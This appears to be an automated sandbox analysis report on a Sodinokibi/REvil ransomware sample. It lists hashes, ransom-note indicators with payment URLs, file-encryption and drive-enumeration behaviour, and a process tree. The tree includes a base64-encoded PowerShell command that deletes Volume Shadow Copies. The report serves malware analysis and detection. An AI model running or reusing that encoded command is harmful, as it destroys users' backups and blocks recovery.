Analysis
-
max time kernel
117s -
max time network
146s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 02:33
Static task
static1
Behavioral task
behavioral1
Sample
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe
Resource
win10-en-20211208
General
-
Target
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe
-
Size
165KB
-
MD5
7b4d9d0a46485dbcaa88c16b8053a30d
-
SHA1
6775e764a7aa1c766fd71bd6997fcb372db3a618
-
SHA256
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc
-
SHA512
9f6822984883e6f8008b2d549a15ba16f8756fff6a965bfa54f285b09219e366564421d5e252318ae76ac7302e704d5945323e55955035b751c45904da719ac0
Malware Config
Extracted
C:\4l123t81-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/834F1DD5311B2208
http://decryptor.top/834F1DD5311B2208
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exedescription ioc process File renamed C:\Users\Admin\Pictures\NewConnect.png => \??\c:\users\admin\pictures\NewConnect.png.4l123t81 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File renamed C:\Users\Admin\Pictures\ExpandUnpublish.tif => \??\c:\users\admin\pictures\ExpandUnpublish.tif.4l123t81 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File renamed C:\Users\Admin\Pictures\RequestCopy.png => \??\c:\users\admin\pictures\RequestCopy.png.4l123t81 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File renamed C:\Users\Admin\Pictures\SyncRead.raw => \??\c:\users\admin\pictures\SyncRead.raw.4l123t81 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exedescription ioc process File opened (read-only) \??\I: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\Q: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\S: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\U: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\F: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\H: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\L: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\O: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\R: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\V: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\Y: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\Z: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\E: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\G: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\D: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\N: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\P: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\X: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\A: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\J: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\M: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\T: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\W: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\B: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened (read-only) \??\K: 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7ts.bmp" 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe -
Drops file in Program Files directory 36 IoCs
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exedescription ioc process File opened for modification \??\c:\program files\AssertBlock.M2T 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\MountUninstall.ex_ 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SetExpand.odt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File created \??\c:\program files\4l123t81-readme.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\NewResume.wm 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RemoveClear.vsd 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\UsePublish.search-ms 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\JoinImport.wav 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\MountExpand.vstx 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\UninstallRename.rm 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\4l123t81-readme.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\ConvertFromMove.001 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\ConvertFromRestart.wpl 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\CopySearch.mov 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\FormatSearch.pptx 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SaveRepair.au3 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SendWatch.odt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\StepSelect.cfg 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\4l123t81-readme.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\CompletePush.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\ReceiveHide.svg 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RegisterExpand.001 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\ResolveInitialize.vssm 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\DenyFind.jtx 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RestartOpen.vsdm 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SkipPop.wpl 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SaveSend.xlt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\SubmitTest.php 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RepairReset.gif 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File created \??\c:\program files (x86)\4l123t81-readme.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\DenyRevoke.7z 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\DisconnectPop.mpeg3 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\HideSwitch.mp3 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RevokeConvertFrom.dib 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File opened for modification \??\c:\program files\RevokeInvoke.dib 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\4l123t81-readme.txt 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exepowershell.exepid process 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe 1928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe Token: SeDebugPrivilege 1928 powershell.exe Token: SeBackupPrivilege 1836 vssvc.exe Token: SeRestorePrivilege 1836 vssvc.exe Token: SeAuditPrivilege 1836 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exedescription pid process target process PID 1672 wrote to memory of 1928 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe powershell.exe PID 1672 wrote to memory of 1928 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe powershell.exe PID 1672 wrote to memory of 1928 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe powershell.exe PID 1672 wrote to memory of 1928 1672 0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe"C:\Users\Admin\AppData\Local\Temp\0bc595b769a9e4a9a72046b2d07e5e157d179bbed997ceb237d805f90f67c1fc.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1672-54-0x0000000075341000-0x0000000075343000-memory.dmpFilesize
8KB
-
memory/1928-55-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmpFilesize
8KB
-
memory/1928-57-0x0000000002620000-0x0000000002622000-memory.dmpFilesize
8KB
-
memory/1928-58-0x0000000002622000-0x0000000002624000-memory.dmpFilesize
8KB
-
memory/1928-59-0x0000000002624000-0x0000000002627000-memory.dmpFilesize
12KB
-
memory/1928-56-0x000007FEF2E30000-0x000007FEF398D000-memory.dmpFilesize
11.4MB
-
memory/1928-60-0x000000000262B000-0x000000000264A000-memory.dmpFilesize
124KB